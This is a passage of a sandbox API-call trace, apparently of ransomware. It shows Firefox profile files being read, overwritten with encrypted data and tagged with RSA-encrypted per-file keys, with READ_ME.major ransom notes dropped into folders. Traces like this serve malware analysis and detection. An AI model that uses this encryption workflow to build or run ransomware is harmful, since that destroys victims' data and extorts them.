nNumberOfBytesToRead=0x36df, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesRead=0x2e3f9b4*=0x36df, lpOverlapped=0x0) returned 1 [0250.792] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=-14047, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.792] WriteFile (in: hFile=0x1b78, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x36df, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x36df, lpOverlapped=0x0) returned 1 [0250.792] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x36df [0250.792] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.793] WriteFile (in: hFile=0x1b78, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.793] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.793] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.793] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.793] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="N1DUc7UAHmtMonCqBbJpNCBuGtTeNfMwfLgUbmo/NN4FIR/QceQ0Kr82DEHAhvH2\nJcCPw1idaEB93sTXxz3wDcluVs29OKOWIHZymBY7Hx3P/yHwPmDuO99aaHGUKJfq\nRA0K8S9SwaWv8PaEYKgLgsYsR1RUhTAyNOFHyhvru/RxV62j8+1sk3SJ93K3RUcd\n5R4cxnhcw/mK/HPLJPoRD/tsVop8TctEGcEcsiFyuP2SJEk4uDXw22U9cnHgMDdg\nKEXSjnvdLZwrsJr65pVodZ6vQz/+D2wVXud3Mc1OQ0PIEWEnqsQ8gQBKGw/U1f8w\nHvWxUQ4OCtwTmg6K09XFhw==\n", pcchString=0x2e3f9a8) returned 1 [0250.793] WriteFile (in: hFile=0x1b78, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.793] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.793] WriteFile (in: hFile=0x1b78, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.794] CloseHandle (hObject=0x1b78) returned 1 [0250.795] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.796] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js", dwFileAttributes=0x80) returned 1 [0250.796] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b78 [0250.797] GetFileSizeEx (in: hFile=0x1b78, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7991) returned 1 [0250.797] ReadFile (in: hFile=0x1b78, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1f37, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1f37, lpOverlapped=0x0) returned 1 [0250.798] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=-7991, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.798] WriteFile (in: hFile=0x1b78, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0x1f37, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1f37, lpOverlapped=0x0) returned 1 [0250.799] SetFilePointer (in: hFile=0x1b78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1f37 [0250.799] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.799] WriteFile (in: hFile=0x1b78, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.799] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.799] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.799] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.799] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Dwt66IGhppoCDITwcPxorl5G0J+Nv84YxeQ3LZM2SIOdY1WyFpnboy7P3arm75Sj\ngsKhN+S2A29AsOV32qDuQsny2xvv6JUjz8GFDqEfdsZteVh30DgEIoNfF1/ha+ag\n3FDxHJ7lwFyarnSi8CPFi3qCUg1rJq5UVjqENsguFcDIa8ON6pTBmXcGQdI/7Li+\nbfxCxfCxbr7AgsBjYBFRdqxpbrMZWJbSt0hdoTbWSBGJ1jzNr60HnPT3aa2UkWQi\n1dV9gJ6t7Wu10329m4rMwGSxa/M0TIUnQmwA1HhLMqk4J5hsDmeDRy2oN/NAFNPY\nsbALhlgh9ynOhYGWCoslaA==\n", pcchString=0x2e3f9a8) returned 1 [0250.799] WriteFile (in: hFile=0x1b78, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.800] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.800] WriteFile (in: hFile=0x1b78, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.800] CloseHandle (hObject=0x1b78) returned 1 [0250.802] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4862533f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37128 [0250.802] FindNextFileW (in: hFindFile=0x2f37128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4862533f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.802] FindNextFileW (in: hFindFile=0x2f37128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="permanent", cAlternateFileName="PERMAN~1")) returned 1 [0250.802] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b7c [0250.804] WriteFile (in: hFile=0x1b7c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.805] CloseHandle (hObject=0x1b7c) returned 1 [0250.805] FindNextFileW (in: hFindFile=0x2f37128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4862533f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4862533f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4862533f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.805] FindNextFileW (in: hFindFile=0x2f37128, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4862533f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4862533f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4862533f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.805] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x40a99643, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4df648df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37168 [0250.805] FindNextFileW (in: hFindFile=0x2f37168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x40a99643, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4df648df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.805] FindNextFileW (in: hFindFile=0x2f37168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4df648df, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4df648df, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4df648df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.805] FindNextFileW (in: hFindFile=0x2f37168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4df648df, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4df648df, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4df648df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.805] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4e095996, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f374a8 [0250.836] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4e095996, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a491c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4a491c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcafbc1b0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4c11, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="013C507F8C6DC51CF18CC10ABECAC5868407766A", cAlternateFileName="013C50~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="017020BFB3471E12709C39371D58E8123BCF28FB", cAlternateFileName="017020~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6966619, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6966619, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6982762, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", cAlternateFileName="019B3F~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xea3, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="020A4F3A0F6F161908D148AEB21A124C4BADFD41", cAlternateFileName="020A4F~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e6aa7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc47e6aa7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc480cd0c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11f4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", cAlternateFileName="055BC3~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b38178, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="05C341B704CB1060501AA0B43D83F975ECBB85F2", cAlternateFileName="05C341~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x48c9ac43, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="062AD3657B516BAF21B6D366104D405078541BA6", cAlternateFileName="062AD3~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1165, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", cAlternateFileName="062B04~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359ce54, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x359ce54, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x35aa535, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0718303207D0267173EECAE48EF1BA3EE0CCAF92", cAlternateFileName="071830~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="086D90F358405509D6EAA39BC422393A31BDE8CA", cAlternateFileName="086D90~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c8f7d5, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45c8f7d5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45c8f7d5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3736, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="097326CA201DC4FEED987C8C534C04EF1E14A3DC", cAlternateFileName="097326~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4000ddb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4000ddb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1d63, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", cAlternateFileName="0A55BC~1")) returned 1 [0250.838] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x747, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0A774848D5BE9E32A6789642784FD4DAFCD580F5", cAlternateFileName="0A7748~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1167, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", cAlternateFileName="0AC9F7~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x428b2b53, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x428b2b53, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x428b2b53, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x158e1, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0B59963DF9BAE2D2E93964FC3500B450212202AA", cAlternateFileName="0B5996~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1164, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", cAlternateFileName="0C77EE~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefa, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", cAlternateFileName="0C8C62~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4407a35c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4407a35c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4407a35c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1826, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0DE853B708EF02DB762AC1E3D2424A69E631431C", cAlternateFileName="0DE853~1")) returned 1 [0250.839] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, 